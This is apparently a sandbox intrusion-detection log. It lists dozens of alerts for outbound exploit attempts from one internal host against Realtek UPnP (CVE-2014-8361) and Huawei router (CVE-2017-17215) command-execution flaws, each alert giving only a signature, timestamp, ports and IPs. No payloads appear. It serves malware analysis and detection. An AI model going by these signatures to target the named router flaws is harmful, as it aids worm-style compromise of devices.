Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.123.163.220

Timestamp:	07/20/24-23:01:34.046616
SID:	2835222
Source Port:	60340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.114.3.131

Timestamp:	07/20/24-23:01:08.632574
SID:	2027339
Source Port:	41520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.246.209.117

Timestamp:	07/20/24-23:01:20.597058
SID:	2027339
Source Port:	40540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.171.168.15

Timestamp:	07/20/24-23:01:47.474975
SID:	2831300
Source Port:	48700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.13.214.247

Timestamp:	07/20/24-23:02:11.700204
SID:	2831300
Source Port:	38574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.92.43.190

Timestamp:	07/20/24-23:01:12.806839
SID:	2831300
Source Port:	35888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.114.73.170

Timestamp:	07/20/24-23:01:44.611556
SID:	2025132
Source Port:	43152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.251.62.147

Timestamp:	07/20/24-23:02:43.591633
SID:	2027339
Source Port:	33168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.168.150.31

Timestamp:	07/20/24-23:01:20.597058
SID:	2027339
Source Port:	44578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.28.35.63

Timestamp:	07/20/24-23:01:50.848726
SID:	2025132
Source Port:	55424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:53.064325
SID:	2831300
Source Port:	54512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:45.547484
SID:	2025132
Source Port:	53402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.12.65.53

Timestamp:	07/20/24-23:01:58.208327
SID:	2831300
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.59.54.38

Timestamp:	07/20/24-23:01:44.926055
SID:	2027339
Source Port:	36816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.56.63.93

Timestamp:	07/20/24-23:01:54.569234
SID:	2831300
Source Port:	54596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.36.101.44

Timestamp:	07/20/24-23:01:20.599458
SID:	2831300
Source Port:	37604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.38.182.72

Timestamp:	07/20/24-23:01:27.653309
SID:	2835222
Source Port:	51724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.105.178.105

Timestamp:	07/20/24-23:02:40.696155
SID:	2027339
Source Port:	40442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.186.28.39

Timestamp:	07/20/24-23:01:42.662837
SID:	2027339
Source Port:	42730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.83.8.136

Timestamp:	07/20/24-23:01:50.794251
SID:	2831300
Source Port:	50094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.187.39.89

Timestamp:	07/20/24-23:01:42.706162
SID:	2027339
Source Port:	49040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.226.8.25

Timestamp:	07/20/24-23:01:58.364551
SID:	2027339
Source Port:	55070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.145.129.242

Timestamp:	07/20/24-23:01:44.469580
SID:	2025132
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	07/20/24-23:01:08.903232
SID:	2027339
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.101.71.143

Timestamp:	07/20/24-23:01:42.509004
SID:	2025132
Source Port:	42880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.248.52.121

Timestamp:	07/20/24-23:01:42.010169
SID:	2027339
Source Port:	42946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:43.994703
SID:	2025132
Source Port:	40006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.97.74.140

Timestamp:	07/20/24-23:01:04.751333
SID:	2027339
Source Port:	49320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.3.243.177

Timestamp:	07/20/24-23:01:42.033190
SID:	2831300
Source Port:	45472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.251.43.137

Timestamp:	07/20/24-23:01:04.977217
SID:	2027339
Source Port:	59800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.106.83.239

Timestamp:	07/20/24-23:01:02.113054
SID:	2829579
Source Port:	35672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.40.176.32

Timestamp:	07/20/24-23:01:08.684499
SID:	2027339
Source Port:	45804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.10.70.203

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	33388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.180.101.231

Timestamp:	07/20/24-23:01:52.742499
SID:	2025132
Source Port:	58056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.178.39

Timestamp:	07/20/24-23:01:24.867858
SID:	2835222
Source Port:	42160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.187.5.172

Timestamp:	07/20/24-23:01:02.380657
SID:	2025132
Source Port:	47818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.173.105.15

Timestamp:	07/20/24-23:01:24.715800
SID:	2027339
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.123.40.207

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	46924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.124.246

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	35020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.14.147.228

Timestamp:	07/20/24-23:01:57.787786
SID:	2027339
Source Port:	38406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.64.241

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	55284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.46.13

Timestamp:	07/20/24-23:01:31.978141
SID:	2829579
Source Port:	55614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.145.148.31

Timestamp:	07/20/24-23:01:34.075219
SID:	2829579
Source Port:	41722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.132.71.9

Timestamp:	07/20/24-23:01:42.142802
SID:	2027339
Source Port:	58582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.194.139.225

Timestamp:	07/20/24-23:01:44.660927
SID:	2831300
Source Port:	46228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.172.21.105

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	54716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.163.143.195

Timestamp:	07/20/24-23:01:44.779503
SID:	2831300
Source Port:	45168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.193.122.132

Timestamp:	07/20/24-23:01:55.154049
SID:	2831300
Source Port:	58122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.229.228.64

Timestamp:	07/20/24-23:01:59.030101
SID:	2831300
Source Port:	50420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.138.36.57

Timestamp:	07/20/24-23:01:21.936545
SID:	2835222
Source Port:	56194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.175.144.226

Timestamp:	07/20/24-23:01:49.034246
SID:	2025132
Source Port:	43210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.34.215.18

Timestamp:	07/20/24-23:01:44.922746
SID:	2025132
Source Port:	36258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.98.32.121

Timestamp:	07/20/24-23:01:01.432181
SID:	2027339
Source Port:	42150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.190.28.75

Timestamp:	07/20/24-23:01:08.571946
SID:	2831300
Source Port:	43646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.75.0

Timestamp:	07/20/24-23:01:31.991548
SID:	2835222
Source Port:	57218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 160.67.56.20

Timestamp:	07/20/24-23:01:41.930505
SID:	2831300
Source Port:	39212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.194.235.253

Timestamp:	07/20/24-23:01:58.999794
SID:	2831300
Source Port:	39764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.185.218.214

Timestamp:	07/20/24-23:01:04.082384
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.187.119.26

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	55630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.24.229.93

Timestamp:	07/20/24-23:01:41.205247
SID:	2025132
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.112.9.246

Timestamp:	07/20/24-23:01:08.594120
SID:	2831300
Source Port:	60104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.1.160.57

Timestamp:	07/20/24-23:01:01.875100
SID:	2027339
Source Port:	40704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.228.92.40

Timestamp:	07/20/24-23:01:42.677933
SID:	2831300
Source Port:	48580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.85.150

Timestamp:	07/20/24-23:00:57.221220
SID:	2829579
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.106.145.234

Timestamp:	07/20/24-23:01:02.059312
SID:	2835222
Source Port:	54922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.82

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.65.211.106

Timestamp:	07/20/24-23:02:10.113046
SID:	2025132
Source Port:	47232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.123.92.219

Timestamp:	07/20/24-23:01:43.903732
SID:	2831300
Source Port:	59476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.105.50.58

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	48558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.248.72.169

Timestamp:	07/20/24-23:01:42.953491
SID:	2027339
Source Port:	35740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.13.19.125

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	37398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.226.155.34

Timestamp:	07/20/24-23:01:48.036012
SID:	2027339
Source Port:	46612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.42.243

Timestamp:	07/20/24-23:01:34.077334
SID:	2835222
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.4.8.31

Timestamp:	07/20/24-23:01:43.044693
SID:	2025132
Source Port:	53134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.203.170.191

Timestamp:	07/20/24-23:01:43.260197
SID:	2027339
Source Port:	37826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.189.118.114

Timestamp:	07/20/24-23:01:43.239928
SID:	2027339
Source Port:	46322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.217.31.58

Timestamp:	07/20/24-23:01:46.293475
SID:	2027339
Source Port:	45978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.161.3.79

Timestamp:	07/20/24-23:01:20.592206
SID:	2027339
Source Port:	34858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.135.58.157

Timestamp:	07/20/24-23:01:02.102095
SID:	2027339
Source Port:	59822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.120.225.224

Timestamp:	07/20/24-23:01:11.631134
SID:	2829579
Source Port:	33872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.227.84.26

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	55320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.212.158.191

Timestamp:	07/20/24-23:01:47.193367
SID:	2831300
Source Port:	34414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.230.67.6

Timestamp:	07/20/24-23:01:26.000956
SID:	2025132
Source Port:	39884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.193.202.8

Timestamp:	07/20/24-23:01:43.697010
SID:	2027339
Source Port:	45262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.221.152.25

Timestamp:	07/20/24-23:01:10.856294
SID:	2027339
Source Port:	42986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.74.240

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	40652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.124.249.51

Timestamp:	07/20/24-23:01:42.276860
SID:	2027339
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.22.214

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	59606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.216.201.201

Timestamp:	07/20/24-23:01:42.650744
SID:	2027339
Source Port:	56526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.98.32.121

Timestamp:	07/20/24-23:01:08.559315
SID:	2831300
Source Port:	44538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.186.28.39

Timestamp:	07/20/24-23:01:42.178390
SID:	2025132
Source Port:	42248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.223.163.108

Timestamp:	07/20/24-23:01:43.203681
SID:	2025132
Source Port:	42714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.205.5.201

Timestamp:	07/20/24-23:02:01.391563
SID:	2027339
Source Port:	52480
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.44.1.200

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	60312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.216.67

Timestamp:	07/20/24-23:01:20.110861
SID:	2829579
Source Port:	44180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.49.181.78

Timestamp:	07/20/24-23:01:47.805449
SID:	2027339
Source Port:	60586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.187.5.172

Timestamp:	07/20/24-23:01:08.582150
SID:	2831300
Source Port:	50248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.61.103

Timestamp:	07/20/24-23:00:57.221248
SID:	2835222
Source Port:	38000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 135.203.61.14

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	51748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

